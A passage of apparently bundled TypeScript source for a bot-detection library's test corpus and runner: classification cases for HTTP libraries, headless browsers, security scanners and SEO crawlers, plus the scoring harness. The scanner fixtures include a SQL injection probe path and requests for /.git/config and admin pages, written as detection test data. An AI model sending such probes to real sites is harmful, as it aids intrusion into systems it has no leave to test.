pingback, not an attack.\"),\n library(\"ruby-faraday\", \"Ruby Faraday\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"Faraday v2.12.0\"], [\"Accept-Encoding\", \"gzip;q=1.0,deflate;q=0.6,identity;q=0.3\"], [\"Accept\", \"*/*\"]], \"A common Ruby client stack\", \"ruby\"),\n library(\"dotnet-httpclient\", \".NET HttpClient\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) HttpClient/8.0\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]], \"Note the Mozilla prefix: even library clients sometimes wear a browser preamble\", \"dotnet\"),\n library(\"postman\", \"Postman\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"PostmanRuntime/7.42.0\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"Connection\", \"keep-alive\"]], \"A person clicking Send in Postman — automation by shape, a human by intent\", \"misc-cli\", \"Worth remembering when choosing an action: there is a developer on the other end of this one.\"),\n library(\"httpie\", \"HTTPie\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"HTTPie/3.2.4\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"Accept\", \"*/*\"], [\"Connection\", \"keep-alive\"]], \"A command-line client aimed at people\", \"misc-cli\"),\n library(\"libwww-perl\", \"LWP\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"libwww-perl/6.77\"], [\"TE\", \"deflate,gzip;q=0.3\"]], \"One of the oldest scripted clients still in circulation\", \"perl\"),\n\n bot({\n id: \"unknown-bare-token\",\n title: \"An unrecognised internal service client\",\n audience: \"unwanted-bot\",\n category: \"http-library\",\n provenance: \"A hand-rolled User-Agent from somebody's internal integration\",\n notes:\n \"Not in any signature database and never will be. The shape alone — a bare product token with no browser preamble — is enough for `strong`, and no more. This is the case the allowlist exists for.\",\n requests: [plain(\"AcmeInventorySync/2.3\")],\n expect: { verdict: \"suspected-bot\", botClass: \"http-client\", certain: false, minScore: 55 },\n }),\n\n bot({\n id: \"no-user-agent-at-all\",\n title: \"A request with no User-Agent\",\n audience: \"unwanted-bot\",\n category: \"http-library\",\n provenance: \"Common in scripts, and also produced by some stripped-down proxies\",\n notes: \"Deliberately only `moderate`. Header-stripping intermediaries do this to real people.\",\n requests: [{ headers: [[\"Host\", \"shop.example\"], [\"Accept\", \"*/*\"]], protocol: \"https\", httpVersion: \"1.1\" }],\n expect: { certain: false, maxScore: 60 },\n }),\n\n // ---------------------------------------------------------------------------\n // Automation runtimes that are not hiding.\n // ---------------------------------------------------------------------------\n bot({\n id: \"headless-chrome-default\",\n title: \"Headless Chrome with its default User-Agent\",\n audience: \"unwanted-bot\",\n category: \"automation\",\n provenance: \"Puppeteer and Playwright leave HeadlessChrome in the UA unless told otherwise\",\n requests: [plain(\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36\")],\n expect: { verdict: \"confirmed-bot\", botClass: \"automation\", certain: true },\n }),\n bot({\n id: \"headless-chrome-client-hints\",\n title: \"Headless Chrome that hid the UA but not the Client Hints\",\n audience: \"unwanted-bot\",\n category: \"automation\",\n provenance: \"Overriding navigator.userAgent does not rewrite Sec-CH-UA, so the brand list still says HeadlessChrome\",\n notes: \"A self-declaration in a place the operator forgot to edit — which makes it a statement rather than an inference, and therefore `certain`.\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"Connection\", \"keep-alive\"],\n [\"sec-ch-ua\", '\"HeadlessChrome\";v=\"152\", \"Chromium\";v=\"152\", \"Not(A:Brand\";v=\"24\"'],\n [\"sec-ch-ua-mobile\", \"?0\"],\n [\"sec-ch-ua-platform\", '\"Linux\"'],\n [\"User-Agent\", \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36\"],\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n [\"Accept-Language\", \"en-US\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { verdict: \"confirmed-bot\", botClass: \"automation\", certain: true, detectors: [\"client-hints\"] },\n }),\n bot({\n id: \"selenium-webdriver\",\n title: \"Selenium WebDriver\",\n audience: \"unwanted-bot\",\n category: \"automation\",\n provenance: \"Some grid configurations leave a webdriver token in the UA\",\n requests: [plain(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 selenium/4.25.0\")],\n expect: { verdict: \"confirmed-bot\", botClass: \"automation\", certain: true },\n }),\n bot({\n id: \"phantomjs\",\n title: \"PhantomJS\",\n audience: \"unwanted-bot\",\n category: \"automation\",\n provenance: \"Long unmaintained, still seen in old scraping stacks\",\n requests: [plain(\"Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1\")],\n expect: { verdict: \"confirmed-bot\", botClass: \"automation\", certain: true },\n }),\n bot({\n id: \"splash-renderer\",\n title: \"Splash, a scriptable rendering service\",\n audience: \"unwanted-bot\",\n category: \"automation\",\n provenance: \"Scrapy's JavaScript rendering companion\",\n requests: [plain(\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) splash/3.5 Safari/602.1\")],\n expect: { verdict: \"confirmed-bot\", botClass: \"automation\", certain: true },\n }),\n\n // ---------------------------------------------------------------------------\n // Security tooling. A hit proves automation, not malice — you may be scanning\n // yourself, which is what the allowlist is for.\n // ---------------------------------------------------------------------------\n bot({\n id: \"sqlmap\",\n title: \"sqlmap\",\n audience: \"hostile\",\n category: \"scanner\",\n provenance: \"The standard SQL injection tool; announces itself by default\",\n requests: [{ ...plain(\"sqlmap/1.8.11#stable (https://sqlmap.org)\"), path: \"/products?id=1%27%20AND%20SLEEP(5)--\" }],\n expect: { verdict: \"confirmed-bot\", botClass: \"scanner\", certain: true, identity: \"sqlmap\" },\n }),\n bot({\n id: \"nikto\",\n title: \"Nikto\",\n audience: \"hostile\",\n category: \"scanner\",\n provenance: \"Web server scanner; the UA embeds a Mozilla/5.00 typo that has never been fixed\",\n requests: [{ ...plain(\"Mozilla/5.00 (Nikto/2.5.0) (Evasions:None) (Test:Port Check)\"), path: \"/admin.php\" }],\n expect: { verdict: \"confirmed-bot\", botClass: \"scanner\", certain: true, identity: \"nikto\" },\n }),\n bot({\n id: \"nuclei\",\n title: \"Nuclei\",\n audience: \"hostile\",\n category: \"scanner\",\n provenance: \"Template-driven vulnerability scanner from ProjectDiscovery\",\n requests: [{ ...plain(\"Nuclei - Open-source project (github.com/projectdiscovery/nuclei)\"), path: \"/.git/config\" }],\n expect: { verdict: \"confirmed-bot\", botClass: \"scanner\", certain: true, identity: \"nuclei\" },\n }),\n bot({\n id: \"gobuster\",\n title: \"Directory brute-forcing with gobuster\",\n audience: \"hostile\",\n category: \"scanner\",\n provenance: \"Content discovery tool\",\n requests: [{ ...plain(\"gobuster/3.6\"), path: \"/backup\" }],\n expect: { verdict: \"confirmed-bot\", botClass: \"scanner\", certain: true },\n }),\n bot({\n id: \"acunetix\",\n title: \"Acunetix\",\n audience: \"hostile\",\n category: \"scanner\",\n provenance: \"Commercial DAST scanner\",\n requests: [plain(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 acunetix-product\")],\n expect: { verdict: \"confirmed-bot\", botClass: \"scanner\", certain: true },\n }),\n bot({\n id: \"masscan\",\n title: \"masscan hitting an HTTP port\",\n audience: \"hostile\",\n category: \"scanner\",\n provenance: \"Internet-wide port scanner\",\n requests: [{ headers: [[\"Host\", \"shop.example\"], [\"User-Agent\", \"masscan/1.3 (https://github.com/robertdavidgraham/masscan)\"], [\"Accept\", \"*/*\"]], protocol: \"http\", httpVersion: \"1.1\" }],\n expect: { verdict: \"confirmed-bot\", botClass: \"scanner\", certain: true },\n }),\n bot({\n id: \"censys-scanner\",\n title: \"Censys internet-wide measurement\",\n audience: \"hostile\",\n category: \"scanner\",\n provenance: \"Research scanning that publishes an opt-out address\",\n notes: \"Classified alongside scanners because that is what it is, but it is a research project that honours opt-outs — a good candidate for your allowlist rather than a block.\",\n requests: [plain(\"Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)\")],\n expect: { verdict: \"confirmed-bot\", botClass: \"scanner\", certain: true },\n }),\n bot({\n id: \"internet-measurement\",\n title: \"Anonymous internet measurement\",\n audience: \"hostile\",\n category: \"scanner\",\n provenance: \"Driftnet and similar projects scan the whole address space continuously\",\n requests: [plain(\"Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)\")],\n expect: { verdict: \"confirmed-bot\", certain: true },\n }),\n];\n","import { plain } from \"./headers.js\";\nimport { bot } from \"./schema.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * Automation that is honest about itself and that most sites would still rather not\n * serve.\n *\n * SEO and market-intelligence crawlers are run by legitimate businesses doing\n * legitimate work. They also cost you bandwidth to build a product you are not paid\n * for, and at scale a handful of them can outweigh your human traffic. Declining them\n * is a business decision rather than a security one, and the corpus's only assertion\n * is that the library names them precisely enough for a rule to be written.\n *\n * All of them declare themselves, so all of them are `certain`. That matters: a\n * policy that declines these is acting on a statement the crawler made, not on a\n * guess, so it can decline them without any risk to a person.\n */\n\nfunction seo(id: string, title: string, userAgent: string, identity: string, provenance: string, notes?: string): TrafficCase {\n return bot({\n id,\n title,\n audience: \"unwanted-bot\",\n category: \"seo-crawler\",\n provenance,\n ...(notes !== undefined ? { notes } : {}),\n requests: [plain(userAgent)],\n expect: { verdict: \"confirmed-bot\", certain: true, identity, detectors: [\"self-identified\"] },\n });\n}\n\nexport const UNWANTED_BOT_CASES: TrafficCase[] = [\n seo(\"ahrefsbot\", \"AhrefsBot\", \"Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)\", \"ahrefsbot\", \"Backlink index crawler; publishes FCrDNS under ahrefs.com, so it is one of the few here that can actually be verified\"),\n seo(\"ahrefs-site-audit\", \"AhrefsSiteAudit\", \"Mozilla/5.0 (compatible; AhrefsSiteAudit/6.1; +http://ahrefs.com/robot/site-audit)\", \"ahrefsbot\", \"Runs when somebody audits your site — possibly you\"),\n seo(\"semrushbot\", \"SemrushBot\", \"Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)\", \"semrushbot\", \"Competitive research crawler\"),\n seo(\"mj12bot\", \"MJ12bot\", \"Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)\", \"mj12bot\", \"Majestic's distributed crawler — it runs on volunteers' machines, so it arrives from residential addresses\"),\n seo(\"dotbot\", \"DotBot\", \"Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)\", \"dotbot\", \"Feeds Moz's link index and Open Site Explorer\"),\n seo(\"blexbot\", \"BLEXBot\", \"Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)\", \"blexbot\", \"Link research crawler feeding a backlink index\"),\n seo(\"dataforseo\", \"DataForSeoBot\", \"Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot)\", \"dataforseo\", \"SERP and backlink data as a service\"),\n seo(\"serpstatbot\", \"Serpstatbot\", \"serpstatbot/2.1 (advanced backlink tracking bot; https://serpstatbot.com/; abuse@serpstatbot.com)\", \"serpstatbot\", \"Backlink tracking for an SEO analytics product\"),\n seo(\"barkrowler\", \"Barkrowler\", \"Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)\", \"barkrowler\", \"Builds a link graph for the Babbar SEO product\"),\n seo(\"zoominfobot\", \"ZoominfoBot\", \"ZoominfoBot (zoominfobot at zoominfo dot com)\", \"zoominfobot\", \"Harvests contact data for a sales product — a crawler many sites decline on privacy grounds rather than cost\"),\n\n bot({\n id: \"seo-crawler-aggressive-rate\",\n title: \"An SEO crawler ignoring Crawl-delay\",\n audience: \"unwanted-bot\",\n category: \"seo-crawler\",\n provenance: \"Declared crawlers sometimes crawl far faster than a site can comfortably serve\",\n notes:\n \"Honest and inconsiderate at once. The right answer is a rate limit, not a block: it identified itself truthfully, and the problem is throughput rather than deception.\",\n requests: Array.from({ length: 40 }, (_, index) => ({\n ...plain(\"Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)\"),\n path: `/products/${index + 1}`,\n atMs: index * 120,\n })),\n expect: { verdict: \"confirmed-bot\", certain: true, identity: \"semrushbot\" },\n }),\n\n bot({\n id: \"unrecognised-polite-crawler\",\n title: \"A crawler nobody has heard of that follows the conventions\",\n audience: \"declared-bot\",\n category: \"unknown-crawler\",\n provenance: \"New crawlers appear constantly; the convention of naming yourself and publishing a contact URL does not change\",\n notes:\n \"Not in any signature database and correctly handled anyway. Word plus contact address is a declaration, so it reaches `certain` on structure alone — which is what keeps the library useful as the world adds crawlers.\",\n requests: [plain(\"Mozilla/5.0 (compatible; NewIndexBot/0.4; +https://newindex.example/about-our-crawler)\")],\n expect: { verdict: \"confirmed-bot\", botClass: \"declared-bot\", certain: true },\n }),\n\n bot({\n id: \"crawler-word-without-contact\",\n title: \"A crawler-ish name with no contact address\",\n audience: \"unwanted-bot\",\n category: \"unknown-crawler\",\n provenance: \"Half of the convention followed\",\n notes: \"Suggestive, not conclusive. Without the contact address there is no declaration of intent, only a word.\",\n requests: [plain(\"Mozilla/5.0 (compatible; Some Spider 1.0)\")],\n expect: { verdict: \"suspected-bot\", certain: false, botClass: \"declared-bot\", minScore: 55 },\n }),\n];\n","import { BotHandler } from \"../core.js\";\nimport { DENYING_ACTIONS } from \"./schema.js\";\nimport { CORPUS, assertCorpusIntegrity } from \"./index.js\";\nimport { CORPUS_CRAWLER_RANGES } from \"./ranges.js\";\nimport { ManualClock } from \"../internal/clock.js\";\nimport { createFacts } from \"../facts.js\";\nimport type { Assessment, RequestFacts } from \"../types.js\";\nimport type { ActionName, Decision } from \"../policy/types.js\";\nimport type { ActionOutcome } from \"../actions/types.js\";\nimport type { DnsResolver } from \"../internal/dns.js\";\nimport type { Audience, CaseRequest, Expectation, TrafficCase } from \"./schema.js\";\n\n/**\n * The harness.\n *\n * It takes a factory rather than a handler because the corpus tests **your**\n * configuration, not the defaults. Hand it whatever you run in production and it will\n * tell you what that policy does to every shape of traffic in the corpus — including,\n * and this is the part worth reading, which of them are people.\n *\n * Two things it controls that a real deployment does not:\n *\n * - **DNS.** No lookup leaves the process. Each case declares the answers it wants,\n * so the difference between \"the operator's DNS disproves this claim\" and \"our\n * resolver was briefly unhappy\" can actually be tested. Those must reach different\n * verdicts, and only a controlled resolver can prove they do.\n * - **Time.** A `ManualClock` advances by each request's `atMs`, so rate and cadence\n * are exercised deterministically. A corpus that slept would take hours and still\n * be flaky.\n */\n\nexport interface RunnerOptions {\n /** Builds the handler under test. The runner supplies the resolver and the clock. */\n create: (dependencies: { resolver: DnsResolver; clock: ManualClock }) => BotHandler;\n cases?: readonly TrafficCase[];\n /**\n * Load the corpus's fictional crawler ranges into the handler. Default true.\n *\n * Without them the `ip-ranges` verification cases cannot pass, because the library\n * ships no address data and correctly refuses to guess.\n */\n applyCorpusRanges?: boolean;\n /** Epoch ms the first request of every case is stamped with. */\n startedAt?: number;\n /**\n * Capability names the handler under test provides, matched against a case's\n * `requires`. A case naming something absent here is skipped and reported.\n */\n provides?: readonly string[];\n /**\n * Assert each case's `expect.action`. Default true.\n *\n * Turn it off when running the corpus across several policies. Which *action* a\n * case receives is a property of the policy — a case that is allowed under one\n * preset is logged under another and both are correct — whereas the verdict, the\n * certainty and `neverAction` are properties of the traffic and hold everywhere.\n * `neverAction` is always asserted, because it is the invariant, not a preference.\n */\n assertActions?: boolean;\n}\n\nexport interface RequestResult {\n assessment: Assessment;\n decision: Decision;\n outcome: ActionOutcome;\n}\n\nexport interface CaseResult {\n case: TrafficCase;\n /** Every request in the case, in order. */\n requests: RequestResult[];\n /** The request expectations are asserted against — the last one. */\n final: RequestResult;\n /** Human-readable expectation violations. Empty means the case passed. */\n failures: string[];\n /** Set when a case marked `human` was denied service. The failure that matters most. */\n falsePositive: boolean;\n /** Why the case did not run, when it did not. Never counted as a pass. */\n skipped?: string;\n durationMs: number;\n}\n\nexport interface AudienceTally {\n total: number;\n passed: number;\n failed: number;\n actions: Record<string, number>;\n}\n\nexport interface Scorecard {\n results: CaseResult[];\n total: number;\n passed: number;\n failed: number;\n /** Human cases that were denied service. Must be empty. */\n falsePositives: CaseResult[];\n /** Cases the handler under test was not configured to exercise. */\n skipped: CaseResult[];\n /**\n * People whose client software declares itself automated.\n *\n * Exempt from the never-deny rule by construction, and listed here so that the\n * exemption is visible in every report rather than buried in a flag.\n */\n selfDeclaredHumans: CaseResult[];\n byAudience: Record<Audience, AudienceTally>;\n byCategory: Record<string, { total: number; failed: number }>;\n /** How many cases each detector produced evidence on. */\n detectorCoverage: Record<string, number>;\n /**\n * Detectors installed in the handler that no case exercised.\n *\n * A gap in the corpus, not in the library: an untested detector is one whose next\n * regression nobody will notice.\n */\n unexercisedDetectors: string[];\n /** Proven-verdict rate among cases that are genuinely automated. */\n provenAutomation: { total: number; proven: number };\n durationMs: number;\n}\n\nconst DEFAULT_START = Date.UTC(2026, 7, 30, 9, 0, 0);\n\n/**\n * Derives a stable address for a case from its id.\n *\n * Distinct per case, so no case inherits another's behavioural history, and stable\n * across runs, so a failure is reproducible. Drawn from 198.18.0.0/15, which RFC 2544\n * reserves for benchmarking — it cannot collide with anything real, and its meaning is\n * exactly what this is.\n */\nexport function addressFor(id: string): string {\n let hash = 0x811c9dc5;\n for (let i = 0; i < id.length; i++) {\n hash ^= id.charCodeAt(i);\n hash = Math.imul(hash, 0x01000193);\n }\n const value = hash >>> 0;\n return `198.18.${(value >> 8) & 0xff}.${(value & 0xff) || 1}`;\n}\n\n/** Answers from the case's own map. Absent names are NXDOMAIN — a definitive negative. */\nfunction caseResolver(current: () => TrafficCase | undefined): DnsResolver {\n const notFound = (): never => {\n throw Object.assign(new Error(\"not found\"), { code: \"ENOTFOUND\" });\n };\n const unavailable = (): never => {\n throw Object.assign(new Error(\"timed out\"), { code: \"ETIMEOUT\" });\n };\n return {\n async reverse(ip) {\n const dns = current()?.dns;\n if (dns === undefined) return notFound();\n if (dns.unavailable === true) return unavailable();\n const names = dns.reverse?.[ip];\n return names === undefined ? notFound() : [...names];\n },\n async resolveAddresses(hostname) {\n const dns = current()?.dns;\n if (dns === undefined) return notFound();\n if (dns.unavailable === true) return unavailable();\n const addresses = dns.forward?.[hostname];\n return addresses === undefined ? notFound() : [...addresses];\n },\n };\n}\n\nfunction toFacts(request: CaseRequest, fallbackIp: string, timestamp: number): RequestFacts {\n const headers: Record<string, string | string[]> = {};\n const order: string[] = [];\n for (const [name, value] of request.headers) {\n const key = name.toLowerCase();\n const existing = headers[key];\n headers[key] = existing === undefined ? value : Array.isArray(existing) ? [...existing, value] : [existing, value];\n order.push(name);\n }\n\n return createFacts({\n method: request.method ?? \"GET\",\n url: request.path ?? \"/\",\n headers,\n rawHeaders: order,\n ip: request.ip ?? fallbackIp,\n timestamp,\n protocol: request.protocol ?? \"https\",\n httpVersion: request.httpVersion ?? \"1.1\",\n ...(request.tlsFingerprint !== undefined ? { tlsFingerprint: request.tlsFingerprint } : {}),\n ...(request.partialHeaders === true ? { partialHeaders: true } : {}),\n });\n}\n\nfunction asArray<T>(value: T | readonly T[] | undefined): readonly T[] | undefined {\n if (value === undefined) return undefined;\n return Array.isArray(value) ? (value as readonly T[]) : [value as T];\n}\n\nfunction checkExpectations(item: TrafficCase, result: RequestResult, assertActions: boolean): string[] {\n const { assessment, decision, outcome } = result;\n const expect: Expectation = item.expect;\n const failures: string[] = [];\n\n const verdicts = asArray(expect.verdict);\n if (verdicts && !verdicts.includes(assessment.verdict)) {\n failures.push(`verdict was \"${assessment.verdict}\", expected ${verdicts.map((v) => `\"${v}\"`).join(\" or \")}`);\n }\n\n const classes = asArray(expect.botClass);\n if (classes && !classes.includes(assessment.botClass)) {\n failures.push(`botClass was \"${assessment.botClass}\", expected ${classes.map((c) => `\"${c}\"`).join(\" or \")}`);\n }\n\n if (expect.certain !== undefined && assessment.certain !== expect.certain) {\n failures.push(`certain was ${assessment.certain}, expected ${expect.certain}`);\n }\n\n if (expect.identity !== undefined) {\n const identities = new Set([assessment.identity, ...assessment.evidence.map((e) => e.identity)].filter(Boolean));\n if (!identities.has(expect.identity)) {\n failures.push(`identity \"${expect.identity}\" not established (saw ${[...identities].join(\", \") || \"none\"})`);\n }\n }\n\n if (expect.minScore !== undefined && assessment.score < expect.minScore) {\n failures.push(`score was ${assessment.score}, expected at least ${expect.minScore}`);\n }\n if (expect.maxScore !== undefined && assessment.score > expect.maxScore) {\n failures.push(`score was ${assessment.score}, expected at most ${expect.maxScore}`);\n }\n\n const fired = new Set([...assessment.evidence, ...assessment.humanEvidence].map((e) => e.detector));\n for (const detector of expect.detectors ?? []) {\n if (!fired.has(detector)) failures.push(`expected detector \"${detector}\" to fire; it did not (fired: ${[...fired].join(\", \") || \"none\"})`);\n }\n for (const detector of expect.notDetectors ?? []) {\n if (fired.has(detector)) {\n const summary = [...assessment.evidence, ...assessment.humanEvidence].find((e) => e.detector === detector)?.summary ?? \"\";\n failures.push(`detector \"${detector}\" fired but should not have: ${summary}`);\n }\n }\n\n const actions = assertActions ? asArray(expect.action) : undefined;\n if (actions && !actions.includes(decision.action)) {\n failures.push(`action was \"${decision.action}\" (rule \"${decision.rule}\"), expected ${actions.map((a) => `\"${a}\"`).join(\" or \")}`);\n }\n for (const action of expect.neverAction ?? []) {\n if (decision.action === action) failures.push(`action \"${action}\" is forbidden for this case (rule \"${decision.rule}\")`);\n }\n\n if (expect.outcome !== undefined && outcome.kind !== expect.outcome) {\n failures.push(`outcome was \"${outcome.kind}\", expected \"${expect.outcome}\" (decision was \"${decision.action}\")`);\n }\n\n return failures;\n}\n\nexport async function runCase(handler: BotHandler, clock: ManualClock, item: TrafficCase, startedAt: number, provides: ReadonlySet<string>, assertActions = true): Promise<CaseResult> {\n const missing = (item.requires ?? []).filter((capability) => !provides.has(capability));\n if (missing.length > 0) {\n return {\n case: item,\n requests: [],\n final: undefined as unknown as RequestResult,\n failures: [],\n falsePositive: false,\n skipped: `needs configuration this handler does not provide: ${missing.join(\", \")}`,\n durationMs: 0,\n };\n }\n\n const fallbackIp = addressFor(item.id);\n const requests: RequestResult[] = [];\n const began = performance.now();\n\n // Clearance is minted by the handler under test, because only it holds the signing\n // secret. The cookie is bound to the actor, so it is derived from the same facts the\n // case will actually present.\n let clearanceCookie: string | undefined;\n if (item.clearance !== undefined) {\n clock.set(startedAt);\n const seed = toFacts(item.requests[0]!, fallbackIp, clock.now());\n clearanceCookie = handler.grantClearance(seed, item.clearance)?.split(\";\")[0];\n }\n\n for (const request of item.requests) {\n clock.set(startedAt + (request.atMs ?? 0));\n const withClearance: CaseRequest =\n clearanceCookie === undefined ? request : { ...request, headers: [...request.headers, [\"Cookie\", clearanceCookie]] };\n const facts = toFacts(withClearance, fallbackIp, clock.now());\n const { assessment, decision, outcome } = await handler.handle(facts);\n requests.push({ assessment, decision, outcome });\n }\n\n const final = requests[requests.length - 1]!;\n const failures = checkExpectations(item, final, assertActions);\n\n // The audience rule, applied to every request in the case rather than only the\n // last: a person denied on request seven is still a person denied.\n let falsePositive = false;\n // A person whose client declares itself a bot is exempt from the audience rule and\n // counted separately. See `TrafficCase.selfDeclared`.\n if (item.audience === \"human\" && item.selfDeclared === undefined) {\n for (const [index, result] of requests.entries()) {\n if (DENYING_ACTIONS.includes(result.decision.action)) {\n falsePositive = true;\n failures.push(\n `FALSE POSITIVE: request ${index + 1}/${requests.length} from a person was ${result.decision.action}ed by rule \"${result.decision.rule}\" ` +\n `(${result.assessment.verdict}, ${result.assessment.certain ? \"proven\" : `score ${result.assessment.score}`})`,\n );\n }\n }\n }\n\n return { case: item, requests, final, failures, falsePositive, durationMs: performance.now() - began };\n}\n\nconst AUDIENCES: readonly Audience[] = [\"human\", \"benign-bot\", \"declared-bot\", \"unwanted-bot\", \"hostile\", \"infrastructure\"];\n\nexport async function runCorpus(options: RunnerOptions): Promise<Scorecard> {\n const cases = options.cases ?? CORPUS;\n assertCorpusIntegrity(cases);\n\n const startedAt = options.startedAt ?? DEFAULT_START;\n const clock = new ManualClock(startedAt);\n let current: TrafficCase | undefined;\n const handler = options.create({ resolver: caseResolver(() => current), clock });\n\n if (options.applyCorpusRanges !== false) {\n for (const [id, entries] of Object.entries(CORPUS_CRAWLER_RANGES)) handler.updateCrawlerRanges(id, entries);\n }\n\n const provides = new Set(options.provides ?? []);\n // Loading the ranges *is* providing the capability, so cases that depend on them do\n // not have to be listed by every caller. A harness that switches the ranges off\n // correctly skips those cases instead of failing them.\n if (options.applyCorpusRanges !== false) provides.add(\"crawler-ranges\");\n const began = performance.now();\n const results: CaseResult[] = [];\n for (const item of cases) {\n current = item;\n results.push(await runCase(handler, clock, item, startedAt, provides, options.assertActions !== false));\n }\n current = undefined;\n\n const byAudience = Object.fromEntries(AUDIENCES.map((audience) => [audience, { total: 0, passed: 0, failed: 0, actions: {} as Record<string, number> }])) as Record<Audience, AudienceTally>;\n const byCategory: Record<string, { total: number; failed: number }> = {};\n const detectorCoverage: Record<string, number> = {};\n let passed = 0;\n let provenTotal = 0;\n let proven = 0;\n\n for (const result of results) {\n if (result.skipped !== undefined) continue;\n const tally = byAudience[result.case.audience];\n tally.total++;\n const action: ActionName = result.final.decision.action;\n tally.actions[action] = (tally.actions[action] ?? 0) + 1;\n\n const category = (byCategory[result.case.category] ??= { total: 0, failed: 0 });\n category.total++;\n\n if (result.failures.length === 0) {\n passed++;\n tally.passed++;\n } else {\n tally.failed++;\n category.failed++;\n }\n\n const fired = new Set<string>();\n for (const request of result.requests) {\n for (const item of [...request.assessment.evidence, ...request.assessment.humanEvidence]) fired.add(item.detector);\n }\n for (const detector of fired) detectorCoverage[detector] = (detectorCoverage[detector] ?? 0) + 1;\n\n if (result.case.audience !== \"human\" && result.case.audience !== \"infrastructure\") {\n provenTotal++;\n if (result.final.assessment.certain) proven++;\n }\n }\n\n const installed = handler.describeDetectors().map((entry) => entry.id);\n const unexercisedDetectors = installed.filter((id) => detectorCoverage[id] === undefined);\n\n const skipped = results.filter((result) => result.skipped !== undefined);\n\n return {\n results,\n total: results.length - skipped.length,\n passed,\n failed: results.length - skipped.length - passed,\n falsePositives: results.filter((result) => result.falsePositive),\n selfDeclaredHumans: results.filter((result) => result.case.audience === \"human\" && result.case.selfDeclared !== undefined),\n skipped,\n byAudience,\n byCategory,\n detectorCoverage,\n unexercisedDetectors,\n provenAutomation: { total: provenTotal, proven },\n durationMs: performance.now() - began,\n };\n}\n","import { AI_CRAWLER_CASES } from \"./ai-crawlers.js\";\nimport { ADVERSARIAL_CASES } from \"./adversarial.js\";\nimport { BENIGN_BOT_CASES } from \"./benign-bots.js\";\nimport { REGIONAL_CRAWLER_CASES } from \"./crawlers-regional.js\";\nimport { VERTICAL_CRAWLER_CASES } from \"./crawlers-vertical.js\";\nimport { ADVERTISING_EMAIL_CASES } from \"./advertising-email.js\";\nimport { CDN_GATEWAY_CASES } from \"./cdn-gateways.js\";\nimport { HUMAN_BROWSER_CASES } from \"./humans-browsers.js\";\nimport { HUMAN_APP_CASES } from \"./humans-apps.js\";\nimport { HUMAN_CASES } from \"./humans.js\";\nimport { INFRASTRUCTURE_CASES } from \"./infrastructure.js\";\nimport { REPUTATION_CASES } from \"./reputation.js\";\nimport { EXTENDED_LIBRARY_CASES } from \"./libraries-extended.js\";\nimport { TOOLING_CASES } from \"./tooling.js\";\nimport { UNWANTED_BOT_CASES } from \"./unwanted.js\";\nimport type { Audience, TrafficCase } from \"./schema.js\";\n\nexport * from \"./schema.js\";\n// The runner, which is the entire point of publishing this entry point: \"point it at your\n// own BotHandler and it tells you how *your* policy behaves\". It was missing here — every\n// internal caller imports `./runner.js` directly, so nothing exercised the path the\n// documentation tells other people to use, and `import { runCorpus } from\n// \"@osqd/bothandlerjs/corpus\"` failed for everyone outside this repository.\nexport { runCorpus } from \"./runner.js\";\nexport type { CaseResult, RunnerOptions, Scorecard, AudienceTally } from \"./runner.js\";\nexport * from \"./headers.js\";\nexport * from \"./ranges.js\";\nexport { HUMAN_CASES } from \"./humans.js\";\nexport { HUMAN_BROWSER_CASES } from \"./humans-browsers.js\";\nexport { HUMAN_APP_CASES } from \"./humans-apps.js\";\nexport { BENIGN_BOT_CASES } from \"./benign-bots.js\";\nexport { REGIONAL_CRAWLER_CASES } from \"./crawlers-regional.js\";\nexport { VERTICAL_CRAWLER_CASES } from \"./crawlers-vertical.js\";\nexport { ADVERTISING_EMAIL_CASES } from \"./advertising-email.js\";\nexport { CDN_GATEWAY_CASES } from \"./cdn-gateways.js\";\nexport { AI_CRAWLER_CASES } from \"./ai-crawlers.js\";\nexport { UNWANTED_BOT_CASES } from \"./unwanted.js\";\nexport { TOOLING_CASES } from \"./tooling.js\";\nexport { EXTENDED_LIBRARY_CASES } from \"./libraries-extended.js\";\nexport { ADVERSARIAL_CASES } from \"./adversarial.js\";\nexport { INFRASTRUCTURE_CASES } from \"./infrastructure.js\";\nexport { REPUTATION_CASES } from \"./reputation.js\";\n\n/**\n * The corpus.\n *\n * Order matters only for readability. Every case carries its own address and its own\n * 